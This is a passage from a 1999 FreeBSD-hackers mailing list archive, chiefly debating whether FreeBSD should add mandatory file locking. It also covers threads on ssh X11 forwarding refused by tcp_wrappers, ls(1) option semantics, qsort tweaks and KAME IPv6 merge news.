it's less error :prone. : :Greg I dunno, it sounds pretty icky to me. I would redesign whatever you are doing that requires mandatory locks to use advisory locks instead. It can be as simple as a wrapper around whatever program your users are running that is causing whatever the problem is. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 22:52:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id BE45414D02 for ; Sun, 22 Aug 1999 22:52:34 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id WAA05558 for ; Sun, 22 Aug 1999 22:51:34 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C0E166.45AAE872@gorean.org> Date: Sun, 22 Aug 1999 22:51:34 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0821 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Interesting ssh + X + tcp_wrappers problem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've been doing some housecleaning lately and I finally decided to set up a one-way ssh authentication from my workstation to my gateway machine. I set up the ssh keys and that was all good. Then I went to start an X app on the gateway expecting it to just pop up on the workstation's X display (happens to be cvsup, but I don't think that's relevant) and I got the following: error: Fwd X11 connection from dt010nb9.san.rr.com refused by tcp_wrappers. I am using natd on the gateway to hook me up to my cable modem. The hostname is the one that the world sees me as, and is assigned to the outside interface. I have the inside interface set up as 10.0.0.1, and the workstation is 10.0.0.2. I have ALL : 10.0.0.2 : allow in /etc/hosts.allow (and appropriate ipfw filtering set up of course), but I didn't have the address of the outside interface in there anywhere since I never expected it would be a problem for the machine to connect to itself. :) Now I am not sure if this is an sshd problem, an X problem, a tcp_wrappers problem, or what have you. I do know that once I put an entry for the outside interface address in hosts.allow it worked. The only problem I have with that is that with dhcp that address changes every time someone gets a wild hair and reboots the dhcp server, and they do that a couple times a month. This makes one more thing that I have to add to my "bugger-I-got-another-new-IP" script that I'd prefer to avoid. Thoughts, comments, suggestions welcome, Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 23: 1:13 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 87AD914D10; Sun, 22 Aug 1999 23:00:44 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id PAA16525; Mon, 23 Aug 1999 15:28:55 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id PAA84575; Mon, 23 Aug 1999 15:28:49 +0930 (CST) Date: Mon, 23 Aug 1999 15:28:49 +0930 From: Greg Lehey To: Matthew Dillon , Poul-Henning Kamp Cc: FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990823152849.H83273@freebie.lemis.com> References: <19990823122719.G83273@freebie.lemis.com> <7071.935386172@critter.freebsd.dk> <19990823095310.A83273@freebie.lemis.com> <199908230031.RAA00909@apollo.backplane.com> <19990823100654.B83273@freebie.lemis.com> <199908230504.WAA01860@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199908230504.WAA01860@apollo.backplane.com>; from Matthew Dillon on Sun, Aug 22, 1999 at 10:04:38PM -0700 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sunday, 22 August 1999 at 22:04:38 -0700, Matthew Dillon wrote: > >> Somehow you need to get a lock. >> >>> You mean have one program make a fcntl call that causes other >>> programs to return an error or block if they try to open that >>> file while the first program holds an open descriptor? >> >> Correct. I suppose it's worth discussing what the default should be. >> Should they get EAGAIN or block? Obviously you'd want a way of >> specifying which, but there would have to be a default for >> non-lock-aware programs. I think I'd go for blocking; it's less error >> prone. > > I dunno, it sounds pretty icky to me. I would redesign whatever you > are doing that requires mandatory locks to use advisory locks > instead. > > It can be as simple as a wrapper around whatever program your users are > running that is causing whatever the problem is. I'm accessing a file that any program might want to open. Redesigning everything isn't an option. On Monday, 23 August 1999 at 7:29:32 +0200, Poul-Henning Kamp wrote: > In message <19990823122719.G83273@freebie.lemis.com>, Greg Lehey writes: >> On Sunday, 22 August 1999 at 22:52:33 -0400, Garrett Wollman wrote: >>> < said: >>> >>>> That's a strange thing to say. Should we do away with locks in the >>>> kernel too? >>> >>> Of course not. Locks in the kernel are actually necessary. >> >> So what's unspeakably evil about ensuring that user processes don't >> tread on each other's feet? In my specific case, I need to make a >> Vinum volume inaccessible while rebuilding the parity stripes. How >> would you ensure that? A user process is doing the rebuilding. > > Then you give that user-process a magic ioctl to do it with. That sounds like a kludge to me. > Why should it be made unavailable ? So that certain multiple accesses can be done atomically. > I thought the idea of RAID-5 was that this wasn't needed ? No, the idea of RAID-5 is that you can tolerate failures. I'm a little surprised that there's any objection to the concept of mandatory locking. In transaction processing, locking is not optional, and if any process at all can access a file or set of files without locking, you can't guarantee the database integrity. Other OSs have used mandatory locking for decades, and System V has it too. So far I haven't seen any arguments, let alone valid ones, against having it in FreeBSD. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 23: 6:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 6103814D1C for ; Sun, 22 Aug 1999 23:06:14 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.1/frmug-2.3/nospam) with UUCP id IAA26780 for hackers@FreeBSD.ORG; Mon, 23 Aug 1999 08:03:35 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id 69CA3870A; Mon, 23 Aug 1999 07:36:50 +0200 (CEST) Date: Mon, 23 Aug 1999 07:36:50 +0200 From: Ollivier Robert To: hackers@FreeBSD.ORG Subject: Re: from number to power of two Message-ID: <19990823073650.A15673@keltia.freenix.fr> Mail-Followup-To: hackers@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.95.5i In-Reply-To: ; from Brian F. Feldman on Sun, Aug 22, 1999 at 05:30:27PM -0700 X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5543 AMD-K6 MMX @ 200 MHz Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Brian F. Feldman: > -O lets you do explicit inlining, and -O2 enables -finline-functions. You meant -O3 of course. -O3 Optimize yet more. This turns on everything -O2 does, along with also turning on -finline-func- tions. -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #73: Sat Jul 31 15:36:05 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 23: 7: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 035AB15638; Sun, 22 Aug 1999 23:06:47 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id PAA13326; Mon, 23 Aug 1999 15:35:24 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="_=XFMail.1.3.p0.FreeBSD:990823153524:19113=_"; micalg=pgp-md5; protocol="application/pgp-signature" In-Reply-To: <19990823152849.H83273@freebie.lemis.com> Date: Mon, 23 Aug 1999 15:35:24 +0930 (CST) From: "Daniel O'Connor" To: Greg Lehey Subject: Re: Mandatory locking? Cc: Garrett Wollman Cc: Garrett Wollman , FreeBSD Committers , FreeBSD Hackers , Poul-Henning Kamp , Matthew Dillon Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.3.p0.FreeBSD:990823153524:19113=_ Content-Type: text/plain; charset=us-ascii On 23-Aug-99 Greg Lehey wrote: > I'm a little surprised that there's any objection to the concept of > mandatory locking. In transaction processing, locking is not > optional, and if any process at all can access a file or set of files > without locking, you can't guarantee the database integrity. Other > OSs have used mandatory locking for decades, and System V has it too. > So far I haven't seen any arguments, let alone valid ones, against > having it in FreeBSD. I think its a good idea, and hey if people object it can always be an option like -> option NO_MANDATORY_LOCKING Phew, that was tough. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum --_=XFMail.1.3.p0.FreeBSD:990823153524:19113=_ Content-Type: application/pgp-signature -----BEGIN PGP MESSAGE----- Version: 2.6.3ia iQCVAwUBN8DkpFbYW/HEoF9pAQHXIgP+Msx/yRSUg+W2htUKS3fsGjg6CDwDdhmN eQIugDYu62mXzjgtqnhvr4mTh3Hft98arr3f9zHK6o/NorXISfLHr/FZ47fGLaEC W+KeK91mVoljFEv9+dWvA6gpK/M9wYuOJEfpUcKNnxB0Q3wSGvocrn8UngiJtptw I+QFMCllquQ= =U2xH -----END PGP MESSAGE----- --_=XFMail.1.3.p0.FreeBSD:990823153524:19113=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 23:49:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 30E4214A0B; Sun, 22 Aug 1999 23:49:49 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id IAA07326; Mon, 23 Aug 1999 08:47:35 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Greg Lehey Cc: Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? In-reply-to: Your message of "Mon, 23 Aug 1999 15:28:49 +0930." <19990823152849.H83273@freebie.lemis.com> Date: Mon, 23 Aug 1999 08:47:34 +0200 Message-ID: <7324.935390854@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <19990823152849.H83273@freebie.lemis.com>, Greg Lehey writes: >> Why should it be made unavailable ? > >So that certain multiple accesses can be done atomically. You don't need that. You initialize a index to 0, and whenever the sector with that index is written, you increment it. At any one time you know that all parityblocks <= your index are valid. All you need to do to recover you index then is to have an ioctl which will read one sector at a time, mark the buffer dirty write it out again. I have seen sources for two well-respected RAID-5 products which do it this way. >I'm a little surprised that there's any objection to the concept of >mandatory locking. Too many of us have had wedged systems because of it I guess... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 0: 0:33 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id EB51C14A0B; Mon, 23 Aug 1999 00:00:21 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id QAA16746; Mon, 23 Aug 1999 16:28:15 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id QAA84716; Mon, 23 Aug 1999 16:28:13 +0930 (CST) Date: Mon, 23 Aug 1999 16:28:13 +0930 From: Greg Lehey To: Poul-Henning Kamp Cc: Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990823162813.I83273@freebie.lemis.com> References: <19990823152849.H83273@freebie.lemis.com> <7324.935390854@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <7324.935390854@critter.freebsd.dk>; from Poul-Henning Kamp on Mon, Aug 23, 1999 at 08:47:34AM +0200 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Monday, 23 August 1999 at 8:47:34 +0200, Poul-Henning Kamp wrote: > In message <19990823152849.H83273@freebie.lemis.com>, Greg Lehey writes: > >>> Why should it be made unavailable ? >> >> So that certain multiple accesses can be done atomically. > > You don't need that. You initialize a index to 0, and whenever the > sector with that index is written, you increment it. > > At any one time you know that all parityblocks <= your index > are valid. Sure, that's pretty much what I do in the situation you're thinking about. But it won't work without locking. Take a look at vinumrevive.c and vinumrequest.c. My real question was more like "OK, I have a situation coming up in which I need to be able to lock out other processes. What tools are available for it". I don't know yet whether what I end up with can be solved by this method, but it's nice to know what tools you have. You certainly wouldn't want to lock out access to the entire device during this time. >> I'm a little surprised that there's any objection to the concept of >> mandatory locking. > > Too many of us have had wedged systems because of it I guess... Strange, I've probably used it more than anybody here, and I've never had a wedged system. Of course, you need to use it appropriately. 'rm' can be a lethal tool :-) Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 0:19:30 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 8495614D1F for ; Mon, 23 Aug 1999 00:19:22 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11IoO0-000Bx5-00 for freebsd-hackers@freebsd.org; Mon, 23 Aug 1999 09:19:20 +0200 From: Sheldon Hearn To: freebsd-hackers@freebsd.org Subject: ls(1) options affecting -l long format Date: Mon, 23 Aug 1999 09:19:20 +0200 Message-ID: <45946.935392760@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi folks, Chris Costello recently committed (and then backed out at my request) a change to ls(1) that made -n (numeric ID's instead of names) imply -l (long format). The OpenGroup Single UNIX Specification is quite clear on the following issue: -g, -n and -o all imply -l. Of course, the OpenGroup spec uses -g for something we don't offer. Our -g is a backward compatibility option. So my point here relates to -n and -o. As I mentioned on the PR associated with the addition of the -n option, taking it to imply -l does nothing but reduce user-interface flexibility. It prevents me from using this in my .profile alias ls='ls -n' to mean "When I ask for a long listing, show numeric ID's instead of names. If I don't ask for a long listing, don't give me one." As far as I'm concerned, we should _not_ be following the OpenGroup spec's mandate on this issue. I think that -o and -n should continue to operate as they do in FreeBSD's and NetBSD's ls, to allow the kind of flexibility suggested above. Ideally, the OpenGroup spec should change. :-) So what's my question? How hard should we be trying to stick to the OpenGroup spec? Whatever we decide should apply to both -n and -o. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 0:28:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from perforce.com (spice.perforce.com [206.14.52.195]) by hub.freebsd.org (Postfix) with ESMTP id 93B0814CAB for ; Mon, 23 Aug 1999 00:28:53 -0700 (PDT) (envelope-from seiwald@perforce.com) Received: (from seiwald@localhost) by perforce.com (8.9.3/8.9.3) id AAA24061; Mon, 23 Aug 1999 00:28:32 -0700 (PDT) (envelope-from seiwald) Date: Mon, 23 Aug 1999 00:28:32 -0700 (PDT) From: Christopher Seiwald Message-Id: <199908230728.AAA24061@perforce.com> To: a-wada@mars.dti.ne.jp, archie@whistle.com Subject: Re: anybody love qsort.c? Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199908220056.AA00050@a.mars.dti.ne.jp> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Archie's mod to qsort: | >- if (swap_cnt == 0) { /* Switch to insertion sort */ | >+ if (n <= 32 && swap_cnt == 0) { /* Switch to insertion sort */ As Akira Wada points out, this eliminates the benefit of the optimization in the first place, which is to let isort take over if the data is largely sorted in the first place. Akira Wada's alternative mod: | + pl = (char *)a; pn = (char *)a + (n - 1) * es; | + while (pl < pn && cmp(pl, pl + es) <= 0) pl += es; | + if (pl >= pn) return; This is a little more comprehensive, but does throw in an extra pass of comparisons, which (I'm sure) someone would complain about. The alteration that I've tried and tested is to have the isort bail back to qsort if it does more than N swaps. I put N at 1024, which worked for my data :). This is almost guaranteed to do no more work than the current logic, because it it only gives up on the isort when it has evidence that the isort is doing too much work. Christopher To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 0:52: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 78BB314D30; Mon, 23 Aug 1999 00:51:53 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id JAA07571; Mon, 23 Aug 1999 09:47:40 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Greg Lehey Cc: Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? In-reply-to: Your message of "Mon, 23 Aug 1999 16:28:13 +0930." <19990823162813.I83273@freebie.lemis.com> Date: Mon, 23 Aug 1999 09:47:40 +0200 Message-ID: <7569.935394460@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <19990823162813.I83273@freebie.lemis.com>, Greg Lehey writes: >>>> Why should it be made unavailable ? >>> >>> So that certain multiple accesses can be done atomically. >> >> You don't need that. You initialize a index to 0, and whenever the >> sector with that index is written, you increment it. >> >> At any one time you know that all parityblocks <= your index >> are valid. > >Sure, that's pretty much what I do in the situation you're thinking >about. But it won't work without locking. Take a look at >vinumrevive.c and vinumrequest.c. I still don't see the need for mandatory locking, or locking out user access in general... >>> I'm a little surprised that there's any objection to the concept of >>> mandatory locking. >> >> Too many of us have had wedged systems because of it I guess... > >Strange, I've probably used it more than anybody here, and I've never >had a wedged system. Of course, you need to use it appropriately. >'rm' can be a lethal tool :-) Well, maybe you were more lucky, I've had my share of troubles, and I think the very concept stinks... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 1: 0:10 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id F421214D49; Mon, 23 Aug 1999 01:00:08 -0700 (PDT) (envelope-from green@FreeBSD.org) Received: from localhost (green@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id BAA34473; Mon, 23 Aug 1999 01:00:05 -0700 (PDT) (envelope-from green@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: green owned process doing -bs Date: Mon, 23 Aug 1999 01:00:05 -0700 (PDT) From: "Brian F. Feldman" To: Sheldon Hearn Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: ls(1) options affecting -l long format In-Reply-To: <45946.935392760@axl.noc.iafrica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999, Sheldon Hearn wrote: > > The OpenGroup Single UNIX Specification is quite clear on the following > issue: -g, -n and -o all imply -l. Of course, the OpenGroup spec uses -g > for something we don't offer. Our -g is a backward compatibility option. Yes, I agree that that's what it means. > > So my point here relates to -n and -o. > > As I mentioned on the PR associated with the addition of the -n > option, taking it to imply -l does nothing but reduce user-interface > flexibility. It prevents me from using this in my .profile > > alias ls='ls -n' This makes no sense. > > to mean > > "When I ask for a long listing, show numeric ID's instead of > names. If I don't ask for a long listing, don't give me one." The reason I say it doesn't make sense is that you shouldn't be asking for a long listing with ls -l if you want numeric ids, you should be using ls -n. Instead of your alias, you should just be using ls -n where you'd otherwise use ls -l. > > As far as I'm concerned, we should _not_ be following the OpenGroup > spec's mandate on this issue. I think that -o and -n should continue to > operate as they do in FreeBSD's and NetBSD's ls, to allow the kind of > flexibility suggested above. Ideally, the OpenGroup spec should change. > :-) The above is not flexibility; it's just different behavior. We need to follow their specifications so things can be portable. > > So what's my question? How hard should we be trying to stick to the > OpenGroup spec? Whatever we decide should apply to both -n and -o. > > Ciao, > Sheldon. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > -- Brian Fundakowski Feldman / "Any sufficiently advanced bug is \ green@FreeBSD.org | indistinguishable from a feature." | FreeBSD: The Power to Serve! \ -- Rich Kulawiec / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 1:15: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id A2D1914C3A; Mon, 23 Aug 1999 01:14:39 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id RAA16984; Mon, 23 Aug 1999 17:43:51 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id RAA84876; Mon, 23 Aug 1999 17:43:46 +0930 (CST) Date: Mon, 23 Aug 1999 17:43:45 +0930 From: Greg Lehey To: Poul-Henning Kamp Cc: Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990823174345.J83273@freebie.lemis.com> References: <19990823162813.I83273@freebie.lemis.com> <7569.935394460@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <7569.935394460@critter.freebsd.dk>; from Poul-Henning Kamp on Mon, Aug 23, 1999 at 09:47:40AM +0200 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Monday, 23 August 1999 at 9:47:40 +0200, Poul-Henning Kamp wrote: > In message <19990823162813.I83273@freebie.lemis.com>, Greg Lehey writes: > >>>>> Why should it be made unavailable ? >>>> >>>> So that certain multiple accesses can be done atomically. >>> >>> You don't need that. You initialize a index to 0, and whenever the >>> sector with that index is written, you increment it. >>> >>> At any one time you know that all parityblocks <= your index >>> are valid. >> >> Sure, that's pretty much what I do in the situation you're thinking >> about. But it won't work without locking. Take a look at >> vinumrevive.c and vinumrequest.c. > > I still don't see the need for mandatory locking, or locking out > user access in general... I'll try to explain, using a different example, since I'm not quite sure where my rebuild stuff is going yet. To write a block to a RAID-5 device, you need to: 1. Read the old data into a temporary buffer. 2. Read the old parity data corresponding to the data into a temporary buffer. 3. XOR the two, storing the result in one of the temporary buffers. 4. XOR the result with the data which is to be written. 5. Write the data block. 6. Write the parity block. Consider what happens if a second request which refers the same parity data comes in during this business: 1. Read the old data into a temporary buffer. 1a. Read the old data into a temporary buffer. 2. Read the old parity data corresponding to the data into a temporary buffer. 2a. Read the old parity data corresponding to the data into a temporary buffer. 3. XOR the two, storing the result in one of the temporary buffers. 3a. XOR the two, storing the result in one of the temporary buffers. 4. XOR the result with the data which is to be written. 4a. XOR the result with the data which is to be written. 5. Write the data block. 5a. Write the data block. 6. Write the parity block. 6a. Write the parity block. The parity data read at (2a) will be wrong. It won't know of the data block to be written at (6). If the volume becomes degraded, it may no longer know about the first transaction. For this, we don't need fcntl locking: it would be too slow, and it's all done in the kernel anyway. In userland, we'd use a different example: I make a number of financial transactions over the Internet. In each case, the system checks my account balance, transfers the money and deducts it from my account: 1. Check balance. 2. Perform transfer. 3. Write updated balance back. Again, if we have two concurrent transactions, we stand to gain money: the updated balance is likely not to know about the other transaction, and will thus "forget" one of the deductions. Now I suppose you're going to come and say that this is bad programming, and advisory locking would do the job if the software is written right. Correct. You could also use the same argument to say that memory protection isn't necessary, because a correctly written program doesn't overwrite other processes address space. It's the same thing: file protection belongs in the kernel. >>>> I'm a little surprised that there's any objection to the concept of >>>> mandatory locking. >>> >>> Too many of us have had wedged systems because of it I guess... >> >> Strange, I've probably used it more than anybody here, and I've never >> had a wedged system. Of course, you need to use it appropriately. >> 'rm' can be a lethal tool :-) > > Well, maybe you were more lucky, I've had my share of troubles, and > I think the very concept stinks... You and Garrett. I've never heard this from *anybody* else. The general opinion I've heard until now was that the lack of mandatory locking was a significant weakness in BSD. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 1:17:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 90F7114C3A for ; Mon, 23 Aug 1999 01:17:23 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id BAA06018 for ; Mon, 23 Aug 1999 01:16:54 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Prev-Resent: Mon, 23 Aug 1999 01:16:54 -0700 Prev-Resent: "hackers@freebsd.org " Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id AAA05832 for ; Mon, 23 Aug 1999 00:53:15 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id QAA29580; Mon, 23 Aug 1999 16:53:09 +0900 (JST) To: "Jordan K. Hubbard" Cc: freebsd-security@freebsd.org In-reply-to: jkh's message of Sun, 22 Aug 1999 20:42:46 MST. <4726.935379766@localhost> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: IPsec/IPv6 From: itojun@iijlab.net Date: Mon, 23 Aug 1999 16:53:09 +0900 Message-ID: <29578.935394789@coconut.itojun.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> Bah, so FreeBSD will be InSecureBSD ? Well, so long as the ITAR bear >> stands around making grizzly noises at people, it seems. >I wouldn't count on that. As far as I can tell, what's holding KAME >integration up is the fact that they're not done merging with INRIA >yet. A news about NRL/INRIA/KAME merging (unified-ipv6). unified-ipv6 project has been in big trouble with manpower, design differences. Recently situations changed for all of us so here's the decision we have made. NRL decided to concentrates on IPsec (because in US not much interest in IPv6 than IPsec - people in US are lucky about IPv4 address space, it seems). INRIA will be doing future researches on top of KAME code. KAME agreed to add some knobs that helps INRIA to do their experiment. So, it is planned that KAME will have an alias: "unified-ipv6". KAME team is trying to ship KAME/OpenBSD and KAME/BSDI4 during this month or next month 